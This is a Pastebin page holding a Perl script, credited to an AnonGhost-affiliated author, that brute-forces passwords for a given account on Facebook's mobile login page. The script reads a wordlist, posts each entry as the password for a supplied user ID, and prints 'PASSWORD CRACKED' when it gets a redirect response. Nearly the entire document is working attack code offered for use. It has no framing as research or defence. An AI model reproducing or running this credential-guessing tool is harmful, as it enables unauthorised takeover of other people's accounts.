KillerRootOficiaL

Facebook Mobile Phone Brute Force

Sep 27th, 2015
328
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.90 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. # Facebook Brute Perl Version C0ded bY Mauritania Attacker
  4. # Gr33tz To All AnonGhost Memberz \!/
  5.  
  6. use LWP::UserAgent;
  7.  
  8. $site = $ARGV[0];
  9. $id = $ARGV[1];
  10. $wordl = $ARGV[2];
  11.  
  12. if(@ARGV != 3){
  13. print "
  14. Facebook Brute Perl Version C0ded bY Mauritania Attacker
  15.  
  16. How to use: $0 <site> <ID> <wordlist>
  17. Example: $0 m.facebook.com ID wordlist.txt
  18.  
  19. ";
  20. exit;
  21. }
  22.  
  23. if ($site !~ /^http:\/\//){
  24. $site = 'http://' . $site;
  25. }
  26. if ($site !~ /\/login.php/){
  27. $site = $site . '/login.php';
  28. }
  29.  
  30. open(a,"<$wordl") or die "$!";
  31. print "\n\nSite: $site\nUsername: $id\n\nAttacking...\n\n";
  32. sleep(2);
  33. while(<a>){
  34. chomp($_);
  35.  
  36. my $ua = new LWP::UserAgent;
  37.  
  38. my $response
  39. = $ua->post($site,
  40. { email => $id,
  41. pass => $_,
  42. login => 'login',
  43. });
  44.  
  45. my $code = $response->code;
  46. print "[+] Testing... $_\n";
  47. if($code == 302){
  48. print "\n\n\t[*] PASSWORD CRACKED: $_\n\n";
  49. exit;
  50. }
  51. }
  52. exit;
Add Comment
Please, Sign In to add comment